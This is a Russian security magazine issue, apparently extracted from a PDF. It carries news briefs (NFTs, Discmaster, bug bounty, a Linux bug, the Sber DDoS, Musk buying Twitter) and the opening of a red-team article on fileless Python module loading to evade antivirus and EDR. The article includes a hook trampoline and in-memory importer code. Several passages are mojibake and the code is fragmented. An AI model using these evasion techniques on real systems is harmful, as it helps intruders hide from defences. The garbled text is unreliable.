íà ëàáîðà òîð íîé ìàøèíå, âñåã äà åñòü âåðî ÿòíîñòü, ÷òî îíà åùå íå
ãîòîâà äëÿ äåìîíñ òðà öèè, à íåêîòî ðûå àñïåêòû ôóí êöèé íå ðàáîòà þò
äîë æíûì îáðà çîì. Ñóùåñ òâó åò äàæå âåðî ÿòíîñòü òîãî, ÷òî âñå
ýòî ìîøåí íè÷åñ òâî», — ãîâîðèò Øåôåð ìàí.

NFT ЗА ПАРУ БАКСОВ
Ин терес к NFT (non-fungible token, «нев заимо заме няемый токен») замет но осла бева ет, а вмес -
те с ним сни жает ся и сто имость NFT, которая еще недав но шокиро вала пуб лику в заголов ках
СМИ. К при меру, один из самых извес тных NFT — пер вый твит осно вате ля Twitter Дже ка Дор си
потерял более  сво ей цены. Сина Эста ви (Sina Estavi), вес ной 2021 года при обретший NFT
за , попытал ся про дать его за , но получил лишь пару пред -
ложений в  и .

99%
2 900 000 дол ларов 48 000 000

280 дол ларов 96 дол ларов

За дру гой широко извес тный токен из кол лекции Azuki (K4M-1 # 03), который в прош лом году
за  при обрел извес тный юту бер Логан Пол, теперь дают лишь 

. Дру гие токены Пола ( №  65 и №  68) из кол лекции Genesis Rocks, сто ившие ему
, подеше вели до .

623 000 дол ларов 10 дол -
ларов
1 550 000 дол ларов 25 дол ларов

11 ТБАЙТ СТАРЫХ
ДИСКЕТ И CD
Ар хивист Internet Archive Джей сон Скотт (Jason Scott) объ явил о запус ке про -
екта , за соз дани ем которо го сто ит груп па ано ним ных прог раммис -
тов, занима ющаяся «циф ровой архе оло гией». Discmaster поз воля ет любому
жела юще му искать сре ди 92 мил лионов ста рых фай лов (более 11 Тбайт
информа ции), извле чен ных с CD и дис кет 1980, 1990 и 2000-х годов.

Discmaster

Скотт рас ска зыва ет, что некото рое вре мя назад с ним свя залась груп па
энту зиас тов, которая работа ла над соз дани ем Discmaster более 18 месяцев
и лишь пос ле это го все же решила обра тить ся за помощью. По сло вам архи -
вис та, он был прос то пот рясен, ког да озна комил ся с их работой, и сам поч ти
не име ет отно шения к соз данию Discmaster. Фак тичес ки Скотт лишь дал про -
екту наз вание и раз местил его на сво ем сай те.

Все фай лы, объ еди нен ные Discmaster, были взя ты из Internet Archive, куда
их мно гие годы пос тепен но заг ружали тысячи людей. До недав него вре мени
глав ная проб лема зак лючалась в том, что люди мог ли делить ся с Internet
Archive чем угод но: музыкой, тек сто выми докумен тами, древ ними мемами,
ста рыми флеш-ани маци ями и так далее. Но единс твен ным спо собом выяс -
нить, какие имен но дан ные содер жались на ста рых дис кетах и ком пакт-дис ках,
была их заг рузка, пос ле которой, по сло вам Скот та, оста валось лишь молить ся,
что бы наш лось под ходящее ПО для рен дерин га этой информа ции в понят ный
кон тент.

Ав торы Discmaster про дела ли гигант скую работу и реали зова ли пре обра -
зова ние боль шинс тва фор матов фай лов на бэкен де. Нап ример, мож но искать
ста рую музыку в MIDI или даже оциф рован ные зву ки Amiga и слу шать их пря мо
в бра узе ре без каких-либо допол нитель ных инс тру мен тов. То же самое каса -
ется виде офай лов с низ ким раз решени ем, изоб ражений в экзо тичес ких
для нынеш него вре мени фор матах и раз личных типов докумен тов.

То есть любые ста рые фор маты фай лов дос тупны для прос мотра пря мо
в бра узе ре (как в сов ремен ном, так и в уста рев шем). Скотт говорит, что
кто-либо на ста ром Commodore 64 смо жет без проб лем исполь зовать
Discmaster, рав но как и любой поль зователь с новей шей вер сией Chrome.

На текущий момент Discmaster содер жит информа цию более чем
с 7800 ком пакт-дис ков и дис кет и нас читыва ет более 113 мил лионов фай лов.
Сайт объ еди нил все это через поис ковую сис тему с воз можностью выпол нять
поиск по типу фай ла, фор мату, источни ку, раз меру фай ла, дате и мно гим дру -
гим парамет рам.

«
»

«Íàâåð íîå, äëÿ ìåíÿ ýòî îäèí èç ñàìûõ âàæ íûõ ïðî åêòîâ ïî èññëå -
äîâà íèþ êîìïü þòåð íîé èñòî ðèè çà ïîñ ëåäíèå äåñÿòü ëåò, — ãîâîðèò
Ñêîòò. — Ïîêà îí íå çàêîí ÷åí. Îíè [ñîç äàòåëè Discmaster] ïðî àíà ëèçè -
ðîâà ëè óæå áîëåå 7000 êîì ïàêò‑äèñ êîâ è ñîáèðà þòñÿ îáðà áîòàòü
åùå 8000. Ýòî áóäåò áåñ êîíå÷ íûé èñòî÷íèê èíôîðìà öèè è ñàìàÿ êðóï -
íàÿ çàäà÷à, íàä êîòîðîé ÿ áóäó ðàáîòàòü â òåêóùåì ãîäó».

Скотт рас ска зыва ет, что Discmaster импо ниру ет ему по мно гим при чинам,
но глав ная из них зак люча ется в том, что это серь езный удар по скеп тикам,
которые час то заяв ляют, что ник то и никог да не будет прос матри вать все
матери алы Internet Archive, так как к ним слиш ком слож но получить дос туп.
Теперь есть инс тру мент, который сор тиру ет и упо рядо чива ет дан ные и дела ет
их дос тупны ми для широкой ауди тории.

Эк сперт зак люча ет, что Discmaster — это неверо ятный инс тру мент
для архи вис тов, исто риков, любопытс тву ющих и людей, которые пыта ются
отыс кать полуза бытые меди афай лы или работы, счи тав шиеся уте рян ными.
Под ори гиналь ным тви том Скот та поль зовате ли охот но делились сво ими
наход ками такого рода и рас ска зыва ли о том, как отыс кали дав но утра чен ные
рас тро вые шриф ты, ред кие фай лы BBS и даже собс твен ные прог раммы,
которые были написа ны боль ше двад цати лет назад.

BUG BOUNTY В РОССИИ
В Positive Technologies про ана лизи рова ли круп ные и активные плат формы bug bounty по все му
миру. Наибо лее вос тре бован ными плат формы ока зались у IT-ком паний ( ), онлайн-сер -
висов ( ), сфе ры услуг ( ) и тор говли ( ), финан совых орга низа ций ( ).

16%
14% 13% 11% 9%

От расле вое рас пре деле ние учас тни ков плат форм bug bounty

Ми ровой тренд в целом кор релиру ет с рос сий ским. Основная мас са заказ чиков рос сий ских
прог рамм bug bounty пред став лена час тным биз несом, обслу жива ющим боль шое количес тво
кли ентов: , , , 

. Глав ным драй вером раз вития bug bounty в Рос сии могут стать 
и .

бан ками он лайн‑сер висами элек трон ной ком мерци ей раз работ чиками
IT-про дук тов гос сектор

ор ганиза ции кри тичес кой инфраструк туры

В 2021 году количес тво прог рамм bug bounty, по дан ным HackerOne, уве личи лось на ,
а иссле дова тели выяви ли на  боль ше уяз вимос тей. К 2027 году рынок bug bounty может
вырас ти до .

34%
21%

5,5 мил лиар да дол ларов

В 2020 году  вош ла в трой ку стран с самым высоким уров нем дохода баг ханте ров,
обог нав  и .

Рос сия
Ки тай Гер манию

Сред няя сум ма воз награж дения в зависи мос ти от опас ности уяз вимос ти

В раз ное вре мя поряд ка  ком паний запус кали откры тые прог раммы bug bounty в РФ. В стра -
не дей ству ют три основные плат формы: ,  и 

.
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Bug Bounty

При этом  прог рамм bug bounty в Рос сии зак рытые, то есть количес тво иссле дова -
телей в них огра ниче но и заранее ого воре но.

по лови на

Рас пре деле ние плат форм bug bounty в мире в зависи мос ти от про води мых прог рамм

Рос сий ские ком пании готовы пла тить иссле дова телям от нес коль ких 
 за най ден ную уяз вимость. В отдель ных слу чаях вып латы дос тига ют 

руб лей и более.

де сят ков до  сотен
тысяч руб лей 1 000 000

В Positive Technologies ожи дают бур ного рос та рос сий ских прог рамм bug bounty в бли жай шее
вре мя. Дело в , 

, а так же рас ширении спек тра орга низа ций, при бега -
ющих к bug bounty: уме ния баг ханте ров ста ли исполь зовать  и 

.

уве личе нии количес тва и  слож ности киберуг роз не дос тупнос ти
в Рос сии мно гих мировых сер висов

не боль шие ком пании го -
сударс твен ные учрежде ния

БАГ В ЯДРЕ LINUX
ПОРТИТ ДИСПЛЕИ
Ста биль ная вер сия ядра Linux (5.19.12), релиз которой сос тоял ся 28 сен -
тября 2022 года, может негатив но вли ять на дис плеи ноут буков с Intel GPU
на бор ту. Поль зовате ли сооб щают, что наб люда ют стран ные белые вспыш ки,
а раз работ чики пре дуп режда ют, что сущес тву ет веро ятность необ ратимо го
пов режде ния экра на.

На стран ное поведе ние сво их устрой ств жалу ются мно гие поль зовате ли,
вклю чая вла дель цев ноут буков Framework. Они сооб щают о проб лемах с Arch
и Fedora пос ле обновле ния ядра Linux до вер сии 5.19.2. Экра ны их устрой ств
мер цают ярким белым све том, который сами пос тра дав шие срав нива ют
со стро бос копами рет рорей вов.

Как рас ска зал инже нер Intel и раз работ чик ядра Вил ле Сирь ял (Ville Syrjäl),
этот баг не толь ко раз дра жает и не дает нор маль но работать, но и может при -
вес ти к пов режде нию дис плея устрой ства. Изу чив логи пос тра дав ших поль -
зовате лей, иссле дова тель при шел к выводу, что проб лема свя зана с гра фичес -
ким драй вером и багом, который вызыва ет нежела тель ные задер жки подачи
питания дис плея. В ито ге Сирь ял катего ричес ки не рекомен дует исполь зовать
ноут буки с Intel GPU вмес те с ядром Linux вер сии 5.19.12.

Фак тичес ки проб лема зат рагива ет все ноут буки на базе про цес соров Intel,
где дис плей под клю чен нап рямую к встро енной гра фике. Это зна чит, что баг
каса ется ноут буков Nvidia Optimus и некото рых ноут буков Intel + Radeon, так
как iGP управля ет основным дис пле ем, даже если акти вен дис крет ный GPU.

В нас тоящее вре мя Грег Кроа-Хар тман (Greg Kroah-Hartman), отве чающий
за ста биль ную вет ку ядра Linux, уже под готовил патч для этой проб лемы, и в
ядре вер сии 5.19.13 ошиб ка была устра нена.

«
»

«Ýòîò âûïóñê ïðåä íàçíà ÷åí äëÿ óñòðà íåíèÿ ðåã ðåññà â íåêîòî ðûõ ãðà -
ôè÷åñ êèõ ñèñ òåìàõ Intel, ãäå íàá ëþäàëèñü ïðîá ëåìû ñ 5.19.12. Åñëè
ó âàñ íåò ïðîá ëåìû ñ 5.19.12, íåò íåîá õîäèìîñ òè â îáíîâëå íèè», —
ïèøåò ðàç ðàáîò ÷èê.

Поль зовате лям рекомен дует ся про верять номера вер сий ядра перед обновле -
нием и избе гать Linux 5.19.12, если они исполь зуют ноут буки с про цес сорами
Intel. Тем, кто уже пос тра дал от этой ошиб ки, рекомен дует ся не оставлять
экран в режиме мигания надол го, так как это уве личи вает веро ятность необ -
ратимых пов режде ний.

АТАКИ НА «СБЕР»

За мес титель пред седате ля «Сбер банка» Ста нис лав Куз нецов рас ска зал жур налис там,
что 7 октября 2022 года на 440 сер висов бан ка была совер шена одна из круп ней ших DDoS-атак
в исто рии финан сового учрежде ния. Куз нецов счи тает, что целью этой ата ки была оста нов ка
работы бан ка, одна ко сбо ев в работе «Сбер банка» не воз никло.→ «Недав но мы выдер жали круп ней шую ата ку. Это про исхо дило 7 октября. Тог -

да по заранее под готов ленно му пла ну, с очень дли тель ной под готов кой была
спла ниро вана спе циаль ная DDoS-ата ка, в которой учас тво вало
не менее 104 000 хакеров, которые вели эту ата ку с инфраструк туры, рас -
положен ной в зарубеж ных государс твах, чис ленностью не менее 30 000 устрой -
ств»,

— сооб щил Куз нецов и отме тил, что с начала года на «Сбер банк» было совер шено 470 DDoS-
атак — боль ше, чем за пос ледние семь лет сум марно.

ИЛОН МАСК КУПИЛ
TWITTER
В кон це октября Илон Маск наконец завер шил сдел ку по покуп ке Twitter
за 44 мил лиар да дол ларов, перего воры о которой дли лись более полуго да
и из-за которой ком пания даже подава ла на него в суд, пыта ясь зас тавить соб -
людать дос тигну тое исходно сог лашение о сли янии.

У себя в Twitter Маск сооб щил, что «птич ка осво боди лась» (the bird is freed),
и пря мо в день под писания бумаг уво лил ряд топ-менед жеров Twitter, вклю чая
гла ву ком пании Парага Агра вала (Parag Agrawal), который был наз начен на этот
пост в нояб ре 2021 года, ког да осно ватель и быв ший гла ва соц сети Джек Дор -
си покинул ком панию.

«Маск уво лил CEO Парага Агра вала и глав ного финан сового дирек тора
Неда Сигала пос ле зак рытия сдел ки», — сооб щило изда ние The Wall Street
Journal. Так же были уво лены руково дитель отде ла пра вовой полити ки Twitter
Вид жая Гад де и глав ный юрис консульт Шон Эджетт. При этом жур налис ты
сооб щили, что уво лен ным топ-менед жерам вып латят мно гомил лион ные ком -
пенса ции (от 38,7 до 11,2 мил лиона дол ларов США).

По ка неяс но, кто теперь воз гла вит ком панию, перешед шую в собс твен -
ность Ило на Мас ка. Вре мен ным генераль ным дирек тором Twitter ста нет сам
Маск, а затем, веро ятно, он усту пит эту дол жность кому-то дру гому.

Нуж но отме тить, что отно шения Мас ка и Агра вала были натяну тыми в пос -
ледние месяцы, пока Маск пытал ся отка зать ся от сдел ки. В августе текуще го
года Маск даже вызывал быв шего гла ву Twitter на пуб личные дебаты, пред -
лагая ему обсу дить количес тво ботов в соци аль ной сети. «Пусть он докажет
общес твен ности, что в Twitter ежед невно активны менее 5% фей ковых или спа -
мер ских акка унтов!» — писал Маск. Вмес то это го ком пания про дол жила
судеб ную тяж бу про тив Мас ка, что в ито ге помог ло Twitter завер шить эту сдел -
ку.

Так же сто ит ска зать, что Маск неод нократ но пуб ликовал тви ты с кри тикой
( , ) под хода Гад де к модера ции кон тента.1 2

По информа ции СМИ, посетив штаб-квар тиру Twitter в Сан-Фран циско,
Маск пообе щал, что не будет уволь нять 75% сот рудни ков ком пании (штат
Twitter нас читыва ет 7500 человек), как сооб щалось ранее. При этом Маск при -
вез с собой раз работ чиков из ком пании Tesla, которые яко бы дол жны будут
оце нить код и работу сот рудни ков Twitter, а затем пред ста вить отчет новому
вла дель цу.

На пом ню, ранее Маск заяв лял, что при обре тает Twitter ради прин ципов сво -
боды сло ва, которых, по его мне нию, дол жна при дер живать ся плат форма. Так -
же он пла ниро вал бороть ся с арми ями ботов, спа мом и так называ емы ми
теневы ми банами.

За нес коль ко часов до завер шения сдел ки Маск опуб ликовал обра щение
к рек ламода телям, в котором заверил, что Twitter не «прев ратит ся в дос тупный
для всех кош мар», где мож но будет пуб ликовать что угод но без пос ледс твий,
и в оче ред ной раз под чер кнул, что плат форму он при обрел не ради денег.

«

»

«Ïðè ÷èíà, ïî êîòîðîé ÿ ïðè îáðåë Twitter, çàê ëþ÷à åòñÿ â òîì, ÷òî
äëÿ áóäóùå ãî öèâèëè çàöèè î÷åíü âàæ íî èìåòü îáùóþ „öèô ðîâóþ
ãîðîä ñêóþ ïëî ùàäü“, íà êîòîðîé ìîæ íî çäî ðîâûì ñïî ñîáîì îáñó äèòü
øèðîêèé ñïåêòð óáåæ äåíèé, íå ïðè áåãàÿ ê íàñèëèþ, — ïèøåò Ìàñê. —
Â íàñ òîÿùåå âðå ìÿ ñóùåñ òâó åò îãðîìíàÿ îïàñ íîñòü òîãî, ÷òî ñîöè àëü -
íûå ñåòè ðàñ êîëþò ñÿ íà êðàé íå ïðà âûå è êðàé íå ëåâûå ýõî‑êàìåðû,
êîòîðûå áóäóò ïîðîæ äàòü åùå áîëü øóþ íåíàâèñòü è ðàç äåëÿòü íàøå
îáùåñ òâî».

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Быв шие руково дите ли eBay получи ли тюрем ные сро ки за прес ледова ние четы жур налис тов

Часть раз работ чиков Nginx вер нулась в Рос сию и запус тила про ект Angie

По явил ся PoC-экс пло ит для PlayStation 5. Он сра баты вает лишь в 30% слу чаев

Сот ни сер веров Microsoft SQL ока зались зараже ны бэк дором Maggie

Кросс-чейн-мост BSC Token Hub взло ман. Похище но 566 мил лионов дол ларов

Аме рикан ские влас ти перечис лили «любимые» уяз вимос ти китай ских хакеров

У Microsoft про изош ла утеч ка дан ных, кос нувша яся 65 000 орга низа ций по все му миру

Тра фик в Android уте кает за пре делы VPN-тун нелей даже при вклю чен ной фун кции Always-on
VPN

По лиция хит ростью вымани ла клю чи дешиф рования у опе рато ров вымога теля DeadBolt

Сла бый блоч ный шифр в Ofce 365 при водит к рас кры тию содер жимого сооб щений
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В этой статье я покажу, как воору жить
standalone-интер пре татор Python для заг -
рузки опас ных зависи мос тей пря мо
в память при помощи инс тру мен та Pyramid
(не путать с веб-фрей мвор ком). Потен -
циаль но это поз воля ет обой ти анти вирус -
ную защиту при пен тесте и скрыть
источник подоз ритель ной телемет рии
от EDR при опе раци ях Red Team.

Сколь ко есть раз ных тех ник обхо да анти вирус ных механиз мов и EDR-
решений — и не сос читать! Обфуска ция и шиф рование полез ной наг рузки,
динами чес кое раз решение WinAPI, , отло жен ное исполне -
ние, укло нение от хуков защит ных про дук тов, под пись .exe спу фан ными сер -
тифика тами, , под мена сте ка вызовов... Кажет ся, этот
спи сок мож но про дол жать бес конеч но.

сис темные вызовы

флук туирующие начин ки

А если пред положить, что сущес тву ют такие «сле пые» зоны, оста ваясь
в пре делах которых мож но без наказан но тво рить что заб лагорас судит ся (в гра -
ницах разум ного) и не боять ся при этом спа лить весь ред тиминг? Что ж, такие
зоны дей стви тель но есть, и это никакой не Ring 0, а обыч ный интер пре татор
Python! На питоне написа но огромное количес тво нас тупатель ных ути лит,
но запус кать их при нято с уда лен ной машины. Почему? Ах да, зависи мос ти...

Се год ня мы с тобой раз берем под ход , пред став -
ленный иссле дова телем Диего Кап риот ти ( ) на недав нем DEF CON
30.

Living-Off-the-Blindspot
@naksyn

Статья име ет озна коми тель ный харак тер и пред -
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре -
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Продолжение статьи →

email:snovvcrash@protonmail.ch
https://xakep.ru/2022/03/31/keethief/
https://xakep.ru/2022/06/17/shellcode-fluctuation/
https://www.naksyn.com/edr%20evasion/2022/09/01/operating-into-EDRs-blindspot.html
https://twitter.com/naksyn
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×ÒÎ Ê ×ÅÌÓ È ÏÎ×ÅÌÓ

Да вай спер ва оки нем взо ром теорию и раз берем ся, почему твой анти вирус
(или EDR) зна ет о тебе все, потом пой мем прин цип бес фай лового импорта
модулей в Python, а затем перей дем к рас смот рению его реали зации
в Pyramid. Для пер вых двух час тей я вос поль зуюсь  ори гиналь ного
выс тупле ния.

слай дами

Пер вое, на чем хочет ся заос трить вни мание, — это две самые любимые
тех ники раз работ чиков защит ного соф та для ана лиза поведе ния прог рамм:

ху ки Windows API (Win32 или Native) в поль зователь ском прос транс тве;•
под писка на уве дом ления о чувс тви тель ных событи ях в прос транс тве ядра.•

Õóêè â userland

EDR VISIBILITY — Usermode Hooks (изоб ражение — Python vs Modern
Defenses)

Что бы отсле живать зло упот ребле ние механиз мами Windows API, твой анти -
вирус, ско рее все го,  реали зации фун кций из биб лиотек

 и  пос ле их заг рузки в память ана лизи руемым про цес -

сом. Пос ле вызова таких, казалось бы, ори гиналь ных фун кций WinAPI ничего
не подоз рева ющий про цес сор натал кива ется на соот ветс тву ющий джамп, ука -
зыва ющий на область памяти уже под гру жен ной биб лиоте ки средс тва защиты,
и сле дует по нему, в резуль тате чего кон троль над потоком выпол нения прог -
раммы переда ется анти виру су.

ïàò ÷èò äæàì ïàìè

user32.dll ntdll.dll

Те перь «вирусо нена вис тник» может как угод но измы вать ся над тво им про -
цес сом, иссле дуя его вир туаль ную память и про водя дру гие одно му богу
извес тные про вер ки, по резуль татам которых будет вынесен вер дикт:
«виновен» (заб локиро вать выпол нение API-фун кции или, может, вооб ще убить
про цесс) или «оправдан» («отпустить» поток выпол нения исходной прог -
рамме).

Что-то похожее мы про вора чива ли, ког да экспе римен тирова ли с тех никой
. Тог да наш джамп (патч для перех вата кон тро ля

над фун кци ей ) выг лядел при мер но так:
флук туирующе го шелл-кода

kernel32!Sleep

/*

{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 
0x41, 0xFF, 0xE2 }

Disassembly:

0:  49 ba 37 13 d3 c0 4d    movabs r10,0x1337d34dc0d31337
7:  d3 37 13
a:  41 ff e2                jmp    r10

*/

   uint8_t trampoline[] = {
             0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

// mov r10, addr
     0x41, 0xFF, 0xE2                                            

// jmp r10
};

Я уже рекомен довал статью  
, где дос тупным язы ком

разоб раны популяр ные при емы, которые при -
меня ются средс тва ми защиты, и спо собы их
обхо да. Пов торение — мать уче ния, и к тому же
там тоже есть про хуки в userland.

@ShitSecure A tale
of EDR bypass methods

Óâåäîìëåíèÿ îáðàòíîãî âûçîâà â ÿäðå

EDR VISIBILITY — Kernel Callbacks (изоб ражение — Python vs Modern
Defenses)

Ку да более мощ ный механизм сох ранения кон тро ля над поведе нием про цес -
сов реали зует ся через ядер ный механизм .

Он пре дос тавля ет интерфей сы для реали зации фун кций под писки на потен -
циаль но опас ные события, нап ример вызов . Ког да
получе но уве дом ление о соз дании нового про цес са, EDR бежит внед рять свои
биб лиоте ки в целевой про цесс, что бы в том чис ле иметь воз можность пат чить
стан дар тные биб лиоте ки Windows API, как опи сано в пре дыду щем раз деле.

Notification Callback Routines

ntdll!NtCreateProcess

Дру гой показа тель ный при мер того, зачем нуж ны Kernel Callbacks, — тай -
млайн зап рета получе ния дос тупа к памяти про цес са , опи сан ный

в дру гом кру том ресер че с DEF CON 30 — 
 авто ров  и .

lsass.exe
EDR detection mechanisms

and bypass techniques with EDRSandBlast @th3m4ks @_Qazeer

How come the EDR knows everything? (изоб ражение — EDR detection
mechanisms and bypass techniques with EDRSandBlast)

Так, получая уве дом ления о нежела тель ных событи ях на каж дом из эта пов
 (соз дание про цес са дам пера, получе ние им хен дла ,

чте ние памяти , соз дание фай ла с резуль тиру ющим слеп ком

памяти), анти вирус или EDR может выс тро ить мно гоуров невую 
от получе ния зло умыш ленни ком учет ных дан ных из памяти сетево го узла.

дам па LSASS lsass.exe
lsass.exe

за щиту

Су щес тву ет куча дру гих под ходов, как пре дот вра тить вре донос ную
активность на конеч ных точ ках, нап ример ска ниро вание памяти запущен ных
про цес сов по пла ниров щику, но для базово го пред став ления нашей темы это -
го будет дос таточ но.

Ñëåïûå çîíû EDR

Пи рами да боли ред тимера

В исходной статье автор раз деля ет стра тегии бай паса EDR на четыре
основные области. Мы сок ратим их до трех:
1. Свес ти к миниму му свое при сутс твие на узле, где уста нов лен EDR. Для это -

го дос таточ но иметь SOCKS-прок си на сто роне жер твы и мар шру тизи -
ровать через него тра фик во внут реннюю сеть или к локаль ным ресур сам
машины (  тебе в помощь).Impacket

2. Всту пить в апри орно нерав ный бой с EDR: анху кать биб лиоте ки, крип товать
свой арсе нал до посине ния, жить с , выпол няя по одной
коман де в сут ки, думать о рис ках каж дого вве ден ного в кон соль сим вола.
Это слож но (очень). Обыч но это мож но себе поз волить, если весь твой инс -
тру мен тарий кас томный, но, как люди исполь зуют ту же «Кобу» (зап рещен -
ный на тер ритории РФ инс тру мент) на про ектах, я пока так и не понял.

sleep 100500

3. Опе риро вать из сле пых зон EDR. Сюда мож но отнести исполь зование
легитим ных тулз адми нис три рова ния и раз работ ки во вре донос ных целях,
нап ример воору жить офи циаль ный (и под писан ный) бинарь Python
для мал варно го трей дкраф та пря мо на машине-жер тве.

Что про исхо дит внут ри интер пре тато ра Python и как трак товать те или иные
мар керы его поведе ния? «А черт его зна ет...» — так отве тят не толь ко боль -
шинс тво из нас, но и мно гие вен доры защит ного ПО. Для нас пре лесть это го
язы ка в том, что, начиная с вер сии 3.7, офи циаль ная сбор ка интер пре тато ра
пос тавля ется в , то есть не тре бует уста нов ки на хост.standalone-виде

Кро ме того, до тех пор, пока мы оста емся в пре делах интер пре тато ра (то
есть не выпол няем инжекты в дру гие про цес сы или не соз даем новых), вся
телемет рия исхо дит от под писан ного , а это не облегча ет жизнь

защит ному ПО, ког да надо раз бирать ся, что из это го есть что.

python.exe

Итак, что же нам нуж но, что бы воору жить standalone-интер пре татор Python?

Продолжение статьи →
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Для начала опре делим ся, так ли оно нам надо — заг ружать модули пря мо
в память? Чем пло хо при нес ти их на хост и положить рядом с интер пре тато -
ром?

Ста тичес кий ана лиз про тив сор цов Impacket

Как мож но видеть, такой трюк у нас не про катит. Да и вооб ще сох ранять
что-либо на диск — пло хая прак тика. Ког да есть воз можность, луч ше всег да
это го избе гать.

В этой статье мы сно ва будем исполь зовать решение Kaspersky Endpoint
Security в качес тве мерила резуль татов наших экспе римен тов. Что бы не было
обви нений в пред взя тос ти или домыс лов о том, что у меня какие-то лич ные
сче ты с этим про дук том (так как он уже не в пер вый раз встре чает ся в моих
тек стах), я сра зу рас став лю все точ ки над i.
1. Ис ходя из моего лич ного опы та KES — луч шее анти вирус ное решение

в ру-сег менте. Поэто му логика его исполь зования в лабора тор ных испы -
тани ях оче вид на: обой дешь его — зна чит, ско рее все го, обой дешь про дук -
ты дру гих вен доров, ког да они встре тят ся в про екте.

2. Ча ще все го как на внут ренних пен тестах, так и при опе раци ях Red Team мы
(отдел ана лиза защищен ности Angara Security) встре чаем ся имен но с KES,
поэто му опять же целесо образно иссле довать имен но его реак цию
на «внеш ние раз дра жите ли», что бы знать, чего нам ожи дать.

К тому же я знаю, что кол леги «по ту сто рону» дефен са иног да прос матри вают
мои каляки, поэто му, воз можно, таким обра зом я тоже вно шу свой малень кий
вклад в раз витие это го про дук та.

Вся магия бес фай лового импорта внеш них модулей в Python кро ется в фиче
, вве ден ной неког да 

 Гви до ван Рос сумом . В этом кон тек сте
Meta hooks — это спо соб раз решения импорта, реали зован ный в виде клас са
и стре ляющий в самом начале алго рит ма поис ка модуля. Для срав нения есть
дру гой спо соб импорти ровать зависи мос ти — , который,
как мож но догадать ся по наз ванию, осно ван на поис ке нуж ного питону модуля
по опре делен ным путям, заранее извес тным интер пре тато ру.

Meta Import Hooks ве лико душ ным пожиз ненным дик -

татором в ревизии 302 руководс тва PEP

Path Import Hooks

Те кущие зна чения Meta hooks мож но пос мотреть в перемен ной 
, Path hooks — в .

sys.
meta_path sys.path

Стан дар тные зна чения Import hooks для Embeddable Python

То есть все, что нам нуж но сде лать, — это написать собс твен ный класс
импорте ра модулей, которые мы будем получать в виде архи вов, нап ример,
по HTTP, и зарегис три ровать его как Meta hook. Изи!

Раз берем реали зацию такого клас са в инс тру мен те Pyramid.

CFinder

Как извес тно, все новое — это хорошо забытое ста рое, поэто му цепоч ка
заимс тво вания клас са  (Custom Finder) тянет ся аж с 2015 года: из про -
екта  он был поза имс тво ван коман дой EmpireProject в реали -
зации С2-аген та  и далее мель кал в некото рых дру гих нас тупатель ных
фрей мвор ках.

CFinder
remote_importer

EmPyre

Пой дем свер ху вниз, начав со вспо мога тель ных методов.

CFinder._get_info

 class CFinder():

     def __init__(self, repo_name):
         self.repo_name = repo_name

         self._source_code = {}

      def _get_info(self, repo_name, full_name):
         parts = full_name.split('.')

         submodule = parts[-1]
         module_path = '/'.join(parts)

      
 
       for suffix, is_package in (('.py', False), ('/__init__.py'

, True)):
               relative_path = module_path + suffix

           try:
               ZIPPED[repo_name].getinfo(relative_path)

            except KeyError:
               continue
           else:

                  return submodule, is_package, relative_path

        raise ImportError(f'Unable to locate module {submodule} 
in the {repo_name} repo')

Конс трук тор при нима ет в качес тве аргу мен та имя модуля, который мы хотим
импорти ровать, а метод  отда ет информа цию о сущес тво вании того

или ино го питоня чего фай ла в архи ве ZIP. Если при обра бот ке оче ред ного
исходни ка интер пре татор нат кнет ся на инс трук цию 
(при чем неваж но, в вер хне уров невом скрип те или в импортах дру гих модулей)
и дру гие импорте ры не смо гут с ней спра вить ся, этот вспо мога тель ный метод
попыта ется раз решить зависи мость сна чала по пути 

, а потом по пути , если пер вая попыт -

ка про вали лась.

_get_info

import <ИМЯ_МОДУЛЯ>

АРХИВ → <ИМЯ_МОДУЛЯ>.
py АРХИВ → <ИМЯ_МОДУЛЯ>/__init__.py

Для наг ляднос ти я возь му прос той и всем извес тный модуль ,
добав лю вот такую строч ку перед клю чевым сло вом :

colorama
return

  print(submodule, is_package, relative_path)

За тем заг ружу модуль из памяти. Детали заг рузки нам пока неин терес ны,
прос то пос мотрим на вывод .print

Ин форма ция об импортах в модуле colorama

Ви дим, что информа ция обо всех импортах при заг рузке модуля colorama раз -
решилась рекур сивно. Идем даль ше.

CFinder._get_source

   def _get_source_code(self, repo_name, full_name):
       

 
submodule, is_package, relative_path = self._get_info(

repo_name, full_name)

     full_path = f'{repo_name}/{relative_path}'
      if relative_path in self._source_code:

         code = self._source_code[relative_path]
           return submodule, is_package, full_path, code

   try:
         code = ZIPPED[repo_name].read(relative_path).decode()
           code = code.replace('\r\n', '\n').replace('\r', '\n')

         self._source_code[relative_path] = code
           return submodule, is_package, full_path, code

   except:
        raise ImportError(f'Unable to obtain source code for 

module {full_path}')

Вспо мога тель ный метод  зап рашива ет информа цию о мес -

тополо жении фай ла с иско мым исходни ком, который тре бует ся при импорте,
с помощью рас смот ренно го выше метода . Пос ле того как файл
най ден, мы лезем за ним по отданно му пути в ZIP-архив, чита ем его содер -
жимое и отда ем в качес тве резуль тата вмес те с допол нитель ной информа цией
об име нах и рас положе нии модуля. Пока все прос то.

_get_source_code

_get_info

Со дер жимое фай лов с исходным кодом модуля colorama

CFinder.find_module

   def find_module(self, full_name, path=None):
   try:

        self._get_info(self.repo_name, full_name)
    except ImportError:

        return None

    return self

Под бира емся к самому инте рес ному — методам, которые будет исполь зовать
интер пре татор пос ле регис тра ции метаху ка. Метод  дол жен при -
сутс тво вать в клас се резол вера и отда вать информа цию о заг рузчи ке модуля.
В нашем слу чае это прос то обер тка над реали зован ным ранее методом

.

nd_module

_get_info

CFinder.load_module

  def load_module(self, full_name):
        

 
_, is_package, full_path, source = self._get_source_code(self.

repo_name, full_name)

       code = compile(source, full_path, 'exec')
      spec = importlib.util.spec_from_loader(full_name, loader=None)
      module = sys.modules.setdefault(full_name, importlib.util.

module_from_spec(spec))
     module.__loader__ = self
     module.__file__ = full_path
     module.__name__ = full_name

    if is_package:
